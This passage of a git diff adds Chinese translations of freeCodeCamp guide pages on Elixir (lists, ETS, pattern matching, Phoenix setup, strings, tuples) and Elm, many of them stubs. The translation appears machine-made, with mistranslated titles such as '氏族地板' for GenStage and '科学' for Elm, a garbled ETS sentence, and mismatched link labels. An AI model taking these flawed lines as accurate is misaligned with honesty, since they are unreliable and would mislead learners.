new file mode 100644
index 0000000000..f1ae8b4040
--- /dev/null
+++ b/client/src/guide/chinese/elixir/enumerables/index.md
@@ -0,0 +1,34 @@
+---
+title: Enumerables
+localeTitle: 枚举
+---
+## 可枚举（枚举）
+
+在面向对象的编程语言中，你将使用“循环”在Elixir上对一段数据执行相同的操作，因为变量是不可变的，它不可能创建一个传统循环，而是Elixir和其他函数式编程语言依靠递归。使用递归，您将对列表中的每个项目执行相同的操作，而无需变更变量。 Elixir内置的Enum库使这很容易。
+
+## 例
+
+使用`Enum.map`您可以运行匿名函数（不在模块内部的函数）传递列表中的每个项目。这完成了与传统循环相同的任务，而无需改变累加器变量。
+
+```elixir
+iex> Enum.map([1, 2, 3], fn(x) -> x * 2 end) 
+ [2, 4, 6] 
+```
+
+## 枚举模块中的方法
+
+Enum模块有超过70种不同的功能可用于Enumerables，在这里列出它们将需要几页。相反，让我们看一下Enum模块中最常用的功能。
+
+### Enum.map
+
+`Enum.map`在列表上运行匿名或捕获的函数。
+
+```elixir
+iex> Enum.map([5, 10, 15, 20], fn(x) -> x * 2 end) 
+ [10, 20, 30, 40] 
+```
+
+#### 更多信息：
+
+*   [elixir-lang.org |递归](https://elixir-lang.org/getting-started/enumerables-and-streams.html)
+*   [hexdocs |枚举](https://hexdocs.pm/elixir/Enum.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/erlang-interoperability/index.md b/client/src/guide/chinese/elixir/erlang-interoperability/index.md
new file mode 100644
index 0000000000..d01a223edc
--- /dev/null
+++ b/client/src/guide/chinese/elixir/erlang-interoperability/index.md
@@ -0,0 +1,11 @@
+---
+title: Erlang Interoperability
+localeTitle: Erlang互操作性
+---
+## Erlang互操作性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/erlang-interoperability/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/erlang-term-storage/index.md b/client/src/guide/chinese/elixir/erlang-term-storage/index.md
new file mode 100644
index 0000000000..24f3f244c7
--- /dev/null
+++ b/client/src/guide/chinese/elixir/erlang-term-storage/index.md
@@ -0,0 +1,39 @@
+---
+title: Erlang Term Storage
+localeTitle: Erlang术语存储
+---
+## Erlang术语存储
+
+Erlang Term Storage通常被简称为ETS，是OTP内置的内存数据库，可以在Elixir中访问，当您的应用程序在单个节点上运行时，它是Redis等解决方案的强大替代品。
+
+## 快速开始
+
+要创建ETS表，首先需要`tableName = :ets.new(:table_otp_name, [])`表`tableName = :ets.new(:table_otp_name, [])` ，一旦您将表格`tableName = :ets.new(:table_otp_name, [])`您可以：插入数据，查找值，删除数据等。
+
+### IEX的ETS演示
+
+```elixir
+iex(1)> myETSTable = :ets.new(:my_ets_table, []) 
+ #Reference<0.1520230345.550371329.65846> 
+ iex(2)> :ets.insert(myETSTable, {"favoriteWebSite", "freeCodeCamp"}) 
+ true 
+ iex(3)> :ets.insert(myETSTable, {"favoriteProgrammingLanguage", "Elixir"}) 
+ true 
+ iex(4)> :ets.i(myETSTable) 
+ <1   > {<<"favoriteProgrammingLanguage">>,<<"Elixir">>} 
+ <2   > {<<"favoriteWebSite">>,<<"freeCodeCamp">>} 
+ EOT  (q)uit (p)Digits (k)ill /Regexp --> 
+```
+
+## 坚持
+
+ETS表不是持久的，一旦拥有它的进程终止就会被销毁。如果要持久存储数据，建议使用传统的数据库和/或基于文件的存储。
+
+## 用例
+
+ETS表通常用于缓存应用程序中的数据，例如，从数据库获取的帐户数据可以存储在ETS表中以减少对数据库的查询量。另一个用例是限制Web应用程序中功能的使用 - ETS的快速读写速度使其非常适合。 ETS表是以尽可能低的硬件成本开发高度一致的Web应用程序的强大工具。
+
+#### 更多信息：
+
+*   [elixir-lang.org | Erlang图书馆（ETS）](https://elixir-lang.org/getting-started/erlang-libraries.html#erlang-term-storage)
+*   [erlang.org | ETS](http://erlang.org/doc/man/ets.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/error-handling/index.md b/client/src/guide/chinese/elixir/error-handling/index.md
new file mode 100644
index 0000000000..5303d38fcc
--- /dev/null
+++ b/client/src/guide/chinese/elixir/error-handling/index.md
@@ -0,0 +1,11 @@
+---
+title: Error Handling
+localeTitle: 错误处理
+---
+## 错误处理
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/error-handling/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/executables/index.md b/client/src/guide/chinese/elixir/executables/index.md
new file mode 100644
index 0000000000..6909b8e3eb
--- /dev/null
+++ b/client/src/guide/chinese/elixir/executables/index.md
@@ -0,0 +1,11 @@
+---
+title: Executables
+localeTitle: 可执行文件
+---
+## 可执行文件
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/executables/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/functions/index.md b/client/src/guide/chinese/elixir/functions/index.md
new file mode 100644
index 0000000000..3c7ebf7b21
--- /dev/null
+++ b/client/src/guide/chinese/elixir/functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Functions
+localeTitle: 功能
+---
+## 功能
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/functions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/genstage/index.md b/client/src/guide/chinese/elixir/genstage/index.md
new file mode 100644
index 0000000000..b1885de3ff
--- /dev/null
+++ b/client/src/guide/chinese/elixir/genstage/index.md
@@ -0,0 +1,11 @@
+---
+title: Genstage
+localeTitle: 氏族地板
+---
+## Genstage
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/genstage/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/iex-helpers/index.md b/client/src/guide/chinese/elixir/iex-helpers/index.md
new file mode 100644
index 0000000000..c101ad11b9
--- /dev/null
+++ b/client/src/guide/chinese/elixir/iex-helpers/index.md
@@ -0,0 +1,11 @@
+---
+title: IEX Helpers
+localeTitle: IEX助手
+---
+## IEX助手
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/iex-helpers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/iex/index.md b/client/src/guide/chinese/elixir/iex/index.md
new file mode 100644
index 0000000000..4f2624ff13
--- /dev/null
+++ b/client/src/guide/chinese/elixir/iex/index.md
@@ -0,0 +1,11 @@
+---
+title: IEX
+localeTitle: IEX
+---
+## IEX（交互模式）
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/iex/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/index.md b/client/src/guide/chinese/elixir/index.md
new file mode 100644
index 0000000000..5fa9f7ff39
--- /dev/null
+++ b/client/src/guide/chinese/elixir/index.md
@@ -0,0 +1,7 @@
+---
+title: Elixir
+localeTitle: 酏
+---
+## 酏
+
+Elixir是一种动态的函数式编程语言，可在Erlang虚拟机（BEAM）上运行。 Elixir以并发和通用语言而闻名，通常利用强大的Phoenix框架。这种语言是由JoséValim创建的，并受到Ruby，Erlang和Closure等语言的影响。
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/keyword-lists/index.md b/client/src/guide/chinese/elixir/keyword-lists/index.md
new file mode 100644
index 0000000000..be3cd9bca5
--- /dev/null
+++ b/client/src/guide/chinese/elixir/keyword-lists/index.md
@@ -0,0 +1,11 @@
+---
+title: Keyword Lists
+localeTitle: 关键字列表
+---
+## 关键字列表
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/keyword-lists/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/lists/index.md b/client/src/guide/chinese/elixir/lists/index.md
new file mode 100644
index 0000000000..99bc9e5d57
--- /dev/null
+++ b/client/src/guide/chinese/elixir/lists/index.md
@@ -0,0 +1,42 @@
+---
+title: Lists
+localeTitle: 清单
+---
+## 清单
+
+在Elixir中，列表是由方括号内的值组成的数据结构。列表中的值可以是任何类型。
+
+```elixir
+iex> [1, "string", true] 
+ [1, "string", true] 
+```
+
+## 不变性
+
+Elixir中的数据结构是不可变的，因此在List上执行的任何操作都将返回一个新列表，保留原始列表。
+
+```elixir
+iex> list = [1, "string", true] 
+ [1, "string", true] 
+ iex> list ++ [2] 
+ [1, "string", true, 2] 
+ iex> list 
+ [1, "string", true] 
+```
+
+## 头和尾
+
+可以使用`hd/1`和`tl/1`运算符轻松访问列表的头部（第一个元素）和尾部（剩余值）。
+
+```elixir
+iex> list = [1, "string", true] 
+ iex> hd(list) 
+ 1 
+ iex> tl(list) 
+ ["string", true] 
+```
+
+#### 更多信息：
+
+*   [elixir-lang.org |递归](https://elixir-lang.org/getting-started/basic-types.html#linked-lists)
+*   [hexdocs |枚举](https://hexdocs.pm/elixir/List.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/maps/index.md b/client/src/guide/chinese/elixir/maps/index.md
new file mode 100644
index 0000000000..8189e8fbcf
--- /dev/null
+++ b/client/src/guide/chinese/elixir/maps/index.md
@@ -0,0 +1,11 @@
+---
+title: Maps
+localeTitle: 地图
+---
+## 地图
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/maps/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/meta-programming/index.md b/client/src/guide/chinese/elixir/meta-programming/index.md
new file mode 100644
index 0000000000..3b622c829b
--- /dev/null
+++ b/client/src/guide/chinese/elixir/meta-programming/index.md
@@ -0,0 +1,11 @@
+---
+title: Meta Programming
+localeTitle: 元编程
+---
+## 元编程
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/meta-programming/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/mix/index.md b/client/src/guide/chinese/elixir/mix/index.md
new file mode 100644
index 0000000000..b8be56b58a
--- /dev/null
+++ b/client/src/guide/chinese/elixir/mix/index.md
@@ -0,0 +1,11 @@
+---
+title: Mix
+localeTitle: 混合
+---
+## 混合
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/mix/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/mnesia/index.md b/client/src/guide/chinese/elixir/mnesia/index.md
new file mode 100644
index 0000000000..9191a91363
--- /dev/null
+++ b/client/src/guide/chinese/elixir/mnesia/index.md
@@ -0,0 +1,11 @@
+---
+title: Mnesia
+localeTitle: Mnesia的
+---
+## Mnesia的
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/mnesia/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/modules/index.md b/client/src/guide/chinese/elixir/modules/index.md
new file mode 100644
index 0000000000..d5bc42203f
--- /dev/null
+++ b/client/src/guide/chinese/elixir/modules/index.md
@@ -0,0 +1,11 @@
+---
+title: Modules
+localeTitle: 模块
+---
+## 模块
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/modules/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/operations/index.md b/client/src/guide/chinese/elixir/operations/index.md
new file mode 100644
index 0000000000..37ca81d7c7
--- /dev/null
+++ b/client/src/guide/chinese/elixir/operations/index.md
@@ -0,0 +1,11 @@
+---
+title: Operations
+localeTitle: 操作
+---
+## 操作
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/operations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/otp-concurrency/index.md b/client/src/guide/chinese/elixir/otp-concurrency/index.md
new file mode 100644
index 0000000000..3f7d99b193
--- /dev/null
+++ b/client/src/guide/chinese/elixir/otp-concurrency/index.md
@@ -0,0 +1,11 @@
+---
+title: OTP Concurrency
+localeTitle: OTP并发
+---
+## OTP并发
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/otp-concurrency/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/otp-supervisors/index.md b/client/src/guide/chinese/elixir/otp-supervisors/index.md
new file mode 100644
index 0000000000..e21efd14a9
--- /dev/null
+++ b/client/src/guide/chinese/elixir/otp-supervisors/index.md
@@ -0,0 +1,11 @@
+---
+title: OTP Supervisors
+localeTitle: OTP主管
+---
+## OTP主管
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/otp-supervisors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/pattern-matching/index.md b/client/src/guide/chinese/elixir/pattern-matching/index.md
new file mode 100644
index 0000000000..1ad2dc22d6
--- /dev/null
+++ b/client/src/guide/chinese/elixir/pattern-matching/index.md
@@ -0,0 +1,39 @@
+---
+title: Pattern Matching
+localeTitle: 模式匹配
+---
+## 模式匹配
+
+模式匹配是Elixir从Erlang继承的技术。这是一种非常强大的技术，它允许我们从复杂的数据结构中提取更简单的子结构，如列表，元组，映射等。
+
+比赛有2个主要部分，左侧和右侧。右侧是任何类型的数据结构。左侧尝试匹配右侧的数据结构，并将左侧的任何变量绑定到右侧的相应子结构。如果未找到匹配项，则操作员会引发错误。
+
+最简单的匹配是左侧的单个变量和右侧的任何数据结构。这个变量将匹配任何东西。例如：  
+`x = 12`  
+`x = "Hello"`  
+`IO.puts(x)`
+
+您可以将变量放在结构中，以便捕获子结构。例如：  
+`[var_1, _unused_var, var_2] = [{"First variable"}, 25, "Second variable" ]`  
+`IO.puts(var_1)`  
+`IO.puts(var_2)`
+
+这将在var _1中_存储值`{"First variable"}`在var _2中存储`"Second variable"`_ 。还有一个特殊的\_变量（或带有'\_'前缀的变量），它与其他变量完全一样但是告诉elixir， “确保有些东西在这里，但我并不在乎它到底是什么。”在前面的例子中，\_unused\_var就是这样一个变量。
+
+我们可以使用这种技术匹配更复杂的模式。例如，如果要打开并在列表中的元组中获取数字，该列表本身位于列表中，则可以使用以下命令：  
+`[_, [_, {a}]] = ["Random string", [:an_atom, {24}]]`  
+`IO.puts(a)`
+
+上述程序产生以下结果 -  
+`24`
+
+这将绑定到24.其他值被忽略，因为我们使用'\_'。
+
+在模式匹配中，如果我们在右侧使用变量，则使用其值。如果要使用左侧变量的值，则需要使用pin运算符。
+
+例如，如果您的变量“a”的值为25，并且您希望将其与另一个值为25的变量“b”匹配，那么您需要输入 -  
+`a = 25`  
+`b = 25`  
+`^a = b`
+
+最后一行匹配a的当前值，而不是将其赋值给b的值。如果我们有一组不匹配的左侧和右侧，匹配运算符会引发错误。例如，如果我们尝试将元组与列表或大小为2的列表与大小为3的列表进行匹配，则会显示错误。
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/phoenix/index.md b/client/src/guide/chinese/elixir/phoenix/index.md
new file mode 100644
index 0000000000..8464d2f5bf
--- /dev/null
+++ b/client/src/guide/chinese/elixir/phoenix/index.md
@@ -0,0 +1,52 @@
+---
+title: Phoenix
+localeTitle: 凤凰
+---
+## 什么是凤凰城
+
+Phoenix是一个用Elixir编写的Web开发框架，由Chris McCord创建。这个开源框架实现了服务器端MVC模式，并且与其他Web框架（如Ruby on Rails或Django for Python）有许多相似之处。 Phoenix的编写重点是开发人员友好，同时还具有出色的生产力和高应用程序性能。 Phoenix框架包括一些非常强大的功能，例如用于处理实时通信的“通道”和用于ORM（对象关系映射）的神奇工具Ecto。
+
+## 安装Phoenix
+
+Phoenix的安装相对简单，但在我们能够做到这一点之前，我们需要确保Elixir，Hex包管理器和Erlang已经在我们的系统上工作。 Elixir网站为Elixir和Erlang提供了精彩的[安装指南](https://elixir-lang.org/install.html) 。成功设置完成后，只需运行：
+
+```shell
+$ mix local.hex 
+```
+
+要安装Hex包管理器，然后安装Phoenix存档运行：
+
+```shell
+$ mix archive.install https://github.com/phoenixframework/archives/raw/master/phx_new.ez 
+```
+
+## 创建Phoenix应用程序：
+
+1.  安装Phoenix后，创建应用程序很简单：
+
+```shell
+$ mix phx.new <application_name> 
+```
+
+2.  运行此命令，生成目录结构以及上一个命令中使用的_application\_name_所需的所有基本文件。然后会提示您为应用程序安装基本依赖项，因此我们会对此说“是”。
+    
+3.  接下来，我们将提示您切换到我们的项目目录：
+    
+
+```shell
+$ cd <application_name> 
+```
+
+4.  默认情况下，Phoenix假设我们将使用PostgreSQL作为我们的应用程序，用户名和密码为“postgres”。如果不是这样，您需要更改配置 - 否则我们需要做的就是创建我们的数据库：
+
+```shell
+$ mix ecto.create 
+```
+
+5.  最后，我们将启动我们的服务器：
+
+```shell
+$ mix phx.server 
+```
+
+6.  现在，跳转浏览器并导航到localhost：4000并查看欢迎页面！恭喜你，你有一个有效的凤凰应用程序。
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/pipe-operator/index.md b/client/src/guide/chinese/elixir/pipe-operator/index.md
new file mode 100644
index 0000000000..4c7d1c5960
--- /dev/null
+++ b/client/src/guide/chinese/elixir/pipe-operator/index.md
@@ -0,0 +1,11 @@
+---
+title: Pipe Operator
+localeTitle: 管道操作员
+---
+## 管道操作员
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/pipe-operator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/plug/index.md b/client/src/guide/chinese/elixir/plug/index.md
new file mode 100644
index 0000000000..0891603c3e
--- /dev/null
+++ b/client/src/guide/chinese/elixir/plug/index.md
@@ -0,0 +1,11 @@
+---
+title: Plug
+localeTitle: 插头
+---
+## 插头
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/plug/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/protocols/index.md b/client/src/guide/chinese/elixir/protocols/index.md
new file mode 100644
index 0000000000..361f41e2b7
--- /dev/null
+++ b/client/src/guide/chinese/elixir/protocols/index.md
@@ -0,0 +1,11 @@
+---
+title: Protocols
+localeTitle: 协议
+---
+## 协议
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/protocols/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/sigils/index.md b/client/src/guide/chinese/elixir/sigils/index.md
new file mode 100644
index 0000000000..a68eb105f7
--- /dev/null
+++ b/client/src/guide/chinese/elixir/sigils/index.md
@@ -0,0 +1,11 @@
+---
+title: Sigils
+localeTitle: 印记
+---
+## 印记
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/sigils/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/specifications-and-types/index.md b/client/src/guide/chinese/elixir/specifications-and-types/index.md
new file mode 100644
index 0000000000..bea38c58be
--- /dev/null
+++ b/client/src/guide/chinese/elixir/specifications-and-types/index.md
@@ -0,0 +1,11 @@
+---
+title: Specifications and Types
+localeTitle: 规格和类型
+---
+## 规格和类型
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/specifications-and-types/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/strings/index.md b/client/src/guide/chinese/elixir/strings/index.md
new file mode 100644
index 0000000000..1d2d48cd91
--- /dev/null
+++ b/client/src/guide/chinese/elixir/strings/index.md
@@ -0,0 +1,37 @@
+---
+title: Strings
+localeTitle: 字符串
+---
+## 字符串
+
+Elixir中的字符串用双引号括起来，而字符列表是单引号。它们是UTF-8编码的二进制文件。
+
+```elixir
+iex> "Hello world!" 
+ "Hello world!" 
+```
+
+字符串插值可以在Elixir中使用octothorp，然后是花括号。
+
+```elixir
+iex> variable = "world!" 
+ "world!" 
+ iex> "Hello #{variable}" 
+ "Hello world!" 
+```
+
+String模块包含许多基于Unicode标准的有用内置函数。
+
+```elixir
+iex> example = "string" 
+ "string" 
+ iex> String.capitalize(example) 
+ "String" 
+ iex> String.duplicate(example, 2) 
+ "stringstring" 
+```
+
+#### 更多信息：
+
+*   [elixir-lang.org |递归](https://elixir-lang.org/getting-started/basic-types.html#strings)
+*   [hexdocs |枚举](https://hexdocs.pm/elixir/String.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/testing/index.md b/client/src/guide/chinese/elixir/testing/index.md
new file mode 100644
index 0000000000..edc8d524ff
--- /dev/null
+++ b/client/src/guide/chinese/elixir/testing/index.md
@@ -0,0 +1,11 @@
+---
+title: Testing
+localeTitle: 测试
+---
+## 测试
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/testing/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/tuples/index.md b/client/src/guide/chinese/elixir/tuples/index.md
new file mode 100644
index 0000000000..54790fca1f
--- /dev/null
+++ b/client/src/guide/chinese/elixir/tuples/index.md
@@ -0,0 +1,36 @@
+---
+title: Tuples
+localeTitle: 元组
+---
+## 元组
+
+在Elixir中，元组是一种数据结构，可以保存任何值或混合类型。元组由花括号定义，它们的索引从0开始。因为元组在内存中连续存储，所以从它们获取数据是一个非常快速的操作。
+
+```elixir
+iex> tuple = {:atom, "string"} 
+ {:atom, "string"} 
+ iex> elem(tuple, 0) 
+ :atom 
+```
+
+## 不变性
+
+Elixir中的元组是不可变的，因此进行修改将返回一个全新的元组 - 将原始内容保存在内存中。
+
+```elixir
+iex> tuple = {:atom, "string"} 
+ {:atom, "string"} 
+ iex> put_elem(tuple, 1, true) 
+ {:atom, true} 
+ iex> tuple 
+ {:atom, "string"} 
+```
+
+## 模式匹配
+
+Elixir中元组的最常见用法是作为函数的返回。例如： `{:ok, "Hello World\n"}` 这是非常有用的，因为它允许使用模式匹配来处理这些返回。
+
+#### 更多信息：
+
+*   [elixir-lang.org |递归](https://elixir-lang.org/getting-started/basic-types.html#tuples)
+*   [hexdocs |枚举](https://hexdocs.pm/elixir/Tuple.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/umbrella-projects/index.md b/client/src/guide/chinese/elixir/umbrella-projects/index.md
new file mode 100644
index 0000000000..38ac2283a9
--- /dev/null
+++ b/client/src/guide/chinese/elixir/umbrella-projects/index.md
@@ -0,0 +1,11 @@
+---
+title: Umbrella Projects
+localeTitle: 伞项目
+---
+## 伞项目
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/umbrella-projects/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elm/arrays/index.md b/client/src/guide/chinese/elm/arrays/index.md
new file mode 100644
index 0000000000..e9968d8b45
--- /dev/null
+++ b/client/src/guide/chinese/elm/arrays/index.md
@@ -0,0 +1,11 @@
+---
+title: Arrays
+localeTitle: 数组
+---
+## 数组
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elm/arrays/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elm/date/index.md b/client/src/guide/chinese/elm/date/index.md
new file mode 100644
index 0000000000..da3b6c1ff4
--- /dev/null
+++ b/client/src/guide/chinese/elm/date/index.md
@@ -0,0 +1,11 @@
+---
+title: Date
+localeTitle: 日期
+---
+## 日期
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elm/date/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elm/index.md b/client/src/guide/chinese/elm/index.md
new file mode 100644
index 0000000000..a4cc59380e
--- /dev/null
+++ b/client/src/guide/chinese/elm/index.md
@@ -0,0 +1,7 @@
+---
+title: Elm
+localeTitle: 科学
+---
+## 榆树
+
+Elm是一种特定于域的纯函数式编程语言，可编译为Javascript。这种编程语言是静态类型的，并且开发时强调可用性，性能和健壮性。 Elm由Evan Czaplicki于2012年建造，受Haskell，Standard ML和OCaml等影响。它还有助于激发流行的状态管理工具Redux。
\ No newline at end of file
diff --git a/client/src/guide/chinese/elm/list/index.md b/client/src/guide/chinese/elm/list/index.md
new file mode 100644
index 0000000000..9f00254d28
--- /dev/null
+++ b/client/src/guide/chinese/elm/list/index.md
@@ -0,0 +1,11 @@
+---
+title: List
+localeTitle: 名单
+---
+## 名单
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elm/list/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elm/process/index.md b/client/src/guide/chinese/elm/process/index.md
new file mode 100644
index 0000000000..307ac29def
--- /dev/null
+++ b/client/src/guide/chinese/elm/process/index.md
@@ -0,0 +1,11 @@
+---
+title: Process
+localeTitle: 处理
+---
+## 处理
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elm/process/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elm/random/index.md b/client/src/guide/chinese/elm/random/index.md
new file mode 100644
index 0000000000..c54e3b7b77
--- /dev/null
+++ b/client/src/guide/chinese/elm/random/index.md
@@ -0,0 +1,11 @@
+---
+title: Random
+localeTitle: 随机
+---
+## 随机
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elm/random/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elm/strings/index.md b/client/src/guide/chinese/elm/strings/index.md
new file mode 100644
index 0000000000..a41cabad7a
--- /dev/null
+++ b/client/src/guide/chinese/elm/strings/index.md
@@ -0,0 +1,11 @@
+---
+title: Strings
+localeTitle: 字符串
+---
+## 字符串
+
